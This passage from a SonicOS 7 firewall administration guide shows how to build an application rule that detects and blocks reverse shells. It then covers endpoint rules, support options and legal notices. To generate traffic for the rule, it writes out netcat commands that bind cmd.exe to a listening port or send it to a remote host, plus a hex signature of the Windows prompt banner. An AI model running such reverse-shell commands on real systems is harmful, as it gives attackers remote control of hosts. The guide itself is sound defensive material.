where the executed payload spawns a listening shell onto the vulnerable host and the attacker connects to that service across misconfigured firewalls.
The actual configuration requires the following: l Generating the actual network activity to be fingerprinted, using the netcat tool l Capturing the activity and exporting the payload to a text file, using the Wireshark tool l Creating a match object with a string that is reasonably specific and unique enough to avoid false positives l Defining a policy with the action to take when a payload containing the object is parsed (the default Reset/Drop is used here)
Topics: l Generating the Network Activity l Capturing and Exporting the Payload to a Text File, Using Wireshark l Creating a Match Object l Defining the Policy
Generating the Network Activity
The netcat tool offers among other features the ability to bind a program's output to an outbound or a listening connection. The following usage examples show how to setup a listening "Command Prompt Daemon" or how to connect to a remote endpoint and provide an interactive command prompt:
l nc l p 23 e cmd.exe A Windows prompt will be available to hosts connecting to port 23 (the -l option stands for listen mode as opposed to the default, implicit, connect mode).
l nc e cmd.exe 44.44.44.44 23 A Windows prompt is available to host 44.44.44.44 if host 44.44.44.44 is listening on port 23 using the netcat command: nc -l -p 23
Capturing and Exporting the Payload to a Text File Using Wireshark
To capture the data, launch Wireshark and click Capture > Interfaces to open a capture dialog. Start a capture on the interface with the netcat traffic. As soon as the capture begins, run the netcat command and then stop the capture. Data Flow Through the Network in Wireshark shows the data flow through the network during such a connection (Vista Enterprise, June 2007):
SonicOS 7 Rules and Policies Administration Guide 132 App Rules
DATA FLOW THROUGH THE NETWORK IN WIRESHARK
The hexadecimal data can be exported to a text file for trimming off the packet header, unneeded or variable parts and spaces. The relevant portion here is Microsoft... reserved. You can use the Wireshark hexadecimal payload export capability for this. For information about Wireshark, see Wireshark.
Creating a Match Object
The following hexadecimal characters are entered as the object content of the match object representing the Vista command prompt banner:
4D6963726F736F66742057696E646F7773205B56657273696F6E20362E302E363030305D0D0A436F707 97269676874202863292032303036204D6963726F73667420436F72706F726174696F6E2E NOTE: Fingerprint export and the match object definition do not really need to use hexadecimal notation here (the actual signature is ASCII text in this case). Hexadecimal is only required for binary signatures. Similar entries are obtained in the same manner from Windows 2000 and Windows XP hosts and used to create other match objects, resulting in the three match objects shown below:
Other examples for Windows Server 2003 or any other Windows version might be easily obtained using the described method. Linux/UNIX administrators need to customize the default environment variable to take advantage of this signature based defense, as the default prompt is typically not sufficiently specific or unique to be used as described above.
Defining the Policy
After creating the match objects, you can define a policy that uses them. The image that follows shows the other policy settings. This example as shown is specific for reverse shells in both the Policy Name and the
SonicOS 7 Rules and Policies Administration Guide 133 App Rules
Direction settings. As mentioned, it might also be tailored for a wider scope with the Direction setting changed to Both and a more generic name.
A log entry with a Category of Network Access is generated after a connection Reset/Drop. Log Entry After a Connection Reset/Drop shows the log entry, including the message stating that it is an Application Control Alert and displaying the policy name:
LOG ENTRY AFTER A CONNECTION RESET/DROP
As experience suggests, appropriate security measures would include several layers of intelligence, and no single approach can be considered a definitive defense against hostile code.
SonicOS 7 Rules and Policies Administration Guide 134 App Rules
6
Endpoint Rules
The Endpoint protection is enforced by creating a policy and enabling it on a zone. Navigate to the POLICY | Rules and Policies > Endpoint Rules page, where you can edit ore create a policy for the desired zone and enable and endpoint service for that zone. The POLICY | Rules and Policies > Endpoint Rules page only displays the available settings when at least one client anti-virus service is licensed. Depending on the SonicOS version on your firewall and the licensed services, the POLICY | Rules and Policies > Endpoint Rules page appears differently.
Adding a Policy
1. Navigate to the POLICY | Rules and Policies > Endpoint Rules page. 2. Click +Add.
SonicOS 7 Rules and Policies Administration Guide 135 Endpoint Rules
3. Complete the dialog as necessary. 4. For Enforcement Profile, select one of the default profiles or create your own by selecting Create
new Profile.
5. Complete as necessary. 6. Click Accept.
SonicOS 7 Rules and Policies Administration Guide 136 Endpoint Rules
7
SonicWall Support
Technical support is available to customers who have purchased SonicWall products with a valid maintenance contract. The Support Portal provides self-help tools you can use to solve problems quickly and independently, 24 hours a day, 365 days a year. To access the Support Portal, go to https://www.sonicwall.com/support. The Support Portal enables you to:
l View knowledge base articles and technical documentation l View and participate in the Community forum discussions at
https://community.sonicwall.com/technology-and-support. l View video tutorials l Access https://mysonicwall.com l Learn about SonicWall professional services l Review SonicWall Support services and warranty information l Register for training and certification l Request technical support or customer service To contact SonicWall Support, visit https://www.sonicwall.com/support/contact-support.
SonicOS 7 Rules and Policies Administration Guide 137 SonicWall Support
About This Document
NOTE: A NOTE icon indicates supporting information. IMPORTANT: An IMPORTANT icon indicates supporting information. TIP: A TIP icon indicates helpful information. CAUTION: A CAUTION icon indicates potential damage to hardware or loss of data if instructions are not followed. WARNING: A WARNING icon indicates a potential for property damage, personal injury, or death.
SonicOS Rules and Policies Administration Guide Updated - January 2021 Software Version - 7 232-005343-10 Rev B Copyright © 2021 SonicWall Inc. All rights reserved. The information in this document is provided in connection with SonicWall and/or its affiliates' products. No license, express or implied, by estoppel or otherwise, to any intellectual property right is granted by this document or in connection with the sale of products. EXCEPT AS SET FORTH IN THE TERMS AND CONDITIONS AS SPECIFIED IN THE LICENSE AGREEMENT FOR THIS PRODUCT, SONICWALL AND/OR ITS AFFILIATES ASSUME NO LIABILITY WHATSOEVER AND DISCLAIMS ANY EXPRESS, IMPLIED OR STATUTORY WARRANTY RELATING TO ITS PRODUCTS INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. IN NO EVENT SHALL SONICWALL AND/OR ITS AFFILIATES BE LIABLE FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, PUNITIVE, SPECIAL OR INCIDENTAL DAMAGES (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF PROFITS, BUSINESS INTERRUPTION OR LOSS OF INFORMATION) ARISING OUT OF THE USE OR INABILITY TO USE THIS DOCUMENT, EVEN IF SONICWALL AND/OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. SonicWall and/or its affiliates make no representations or warranties with respect to the accuracy or completeness of the contents of this document and reserves the right to make changes to specifications and product descriptions at any time without notice. and/or its affiliates do not make any commitment to update the information contained in this document. For more information, visit https://www.sonicwall.com/legal.
End User Product Agreement
To view the SonicWall End User Product Agreement, go to: https://www.sonicwall.com/legal/end-user-product-agreements/.
Open Source Code
SonicWall Inc. is able to provide a machine-readable copy of open source code with restrictive licenses such as GPL, LGPL, AGPL when applicable per license requirements. To obtain a complete machine-readable copy, send your written requests, along with certified check or money order in the amount of USD 25.00 payable to "SonicWall Inc.", to:
General Public License Source Code Request Attn: Jennifer Anderson 1033 McCarthy Blvd Milpitas, CA 95035
SonicOS 7 Rules and Policies Administration Guide 138 SonicWall Support
madbuild